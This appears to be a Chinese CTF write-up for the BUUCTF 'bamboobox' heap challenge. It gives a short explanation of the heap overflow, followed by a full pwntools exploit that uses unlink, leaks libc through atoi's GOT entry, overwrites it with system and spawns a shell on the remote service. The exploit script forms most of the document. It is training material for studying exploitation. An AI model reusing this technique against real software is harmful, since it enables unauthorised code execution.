image.png
    ida里函数都有名字
    image.png
    漏洞是堆溢出，
    image.png
    image.png
    add后还可以通过change来改变长度，堆溢出
    有后门函数，但是实际上，buuflag并不在这个目录下，如果在这个下，我们可以考虑house of force，这个方法比较快速，或者fast bin attack，因为这个堆溢出比较简单，基本上的方式都可以得出来。然后我用没怎么用过的unlink
    image.png

    1. from pwn import *
    2. from LibcSearcher import* 
    3. context(log_level = 'debug')
    5. #io =process('./bamboobox')
    6. io = remote("node4.buuoj.cn",28844)
    7. #context.arch = "amd64"
    8. elf =ELF('./bamboobox')
    9. magic = 0x0000000000400D49
    10. libc = ELF('libc-2.23.so')
    11. def debug():
    12.     gdb.attach(io)
    13.     pause()
    14. def add(length,value):
    15.     io.recvuntil('Your choice:')
    16.     io.sendline('2')
    17.     io.recvuntil('Please enter the length of item name:')
    18.     io.sendline(str(length))
    19.     io.recvuntil('Please enter the name of item:')
    20.     io.sendline(value)
    21. def show():
    22.     io.recvuntil('Your choice:')
    23.     io.sendline('1')
    24. def edit(index,length,value):
    25.     io.recvuntil('Your choice:')
    26.     io.sendline('3')
    27.     io.recvuntil('Please enter the index of item:')
    28.     io.sendline(str(index))
    29.     io.recvuntil('Please enter the length of item name:')
    30.     io.sendline(str(length))
    31.     io.recvuntil('Please enter the new name of the item:')
    32.     io.sendline(value)
    33. def delet(index):
    34.     io.recvuntil('Your choice:')
    35.     io.sendline('4')    
    36.     io.recvuntil('Please enter the index of item:')
    37.     io.sendline(str(index))
    38. def exit():
    39.     io.recvuntil('Your choice:')
    40.     io.sendline('5')
    41. puts_got = elf.got['puts']    
    42. atoi_got = elf.got['atoi']
    43. free_got = elf.got['free']
    44. ptr_addr = 0x6020C8
    45. fd = ptr_addr-0x18
    46. bk = ptr_addr-0x10
    47. add(0x30,"aaaa")#1
    48. add(0x80,'bbbb')#2
    49. add(0x30,'cccc')#3
    50. #debug()
    51. payload = p64(0) + p64(0x30)
    52. payload += p64(fd) + p64(bk)
    53. payload += "a"*0x10
    54. payload += p64(0x30) + p64(0x90)
    55. edit(0,len(payload),payload)
    56. #debug()
    58. delet(1)
    60. payload =p64(0)*2+p64(0x30)+p64(atoi_got)
    62. edit(0,len(payload),payload)
    63. #debug()
    64. show()
    65. atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    66. log.success("atoi_addr:"+hex(atoi_addr))
    67. system_addr = atoi_addr-libc.sym['atoi']+libc.sym['system']
    68. payload = p64(system_addr)
    69. edit(0,len(payload),payload)
    70. io.recvuntil('Your choice:')
    71. io.sendline('/bin/sh\x00')
    76. io.interactive()

    这里函数的选择蛮重要，最后会发现atoi是最好的。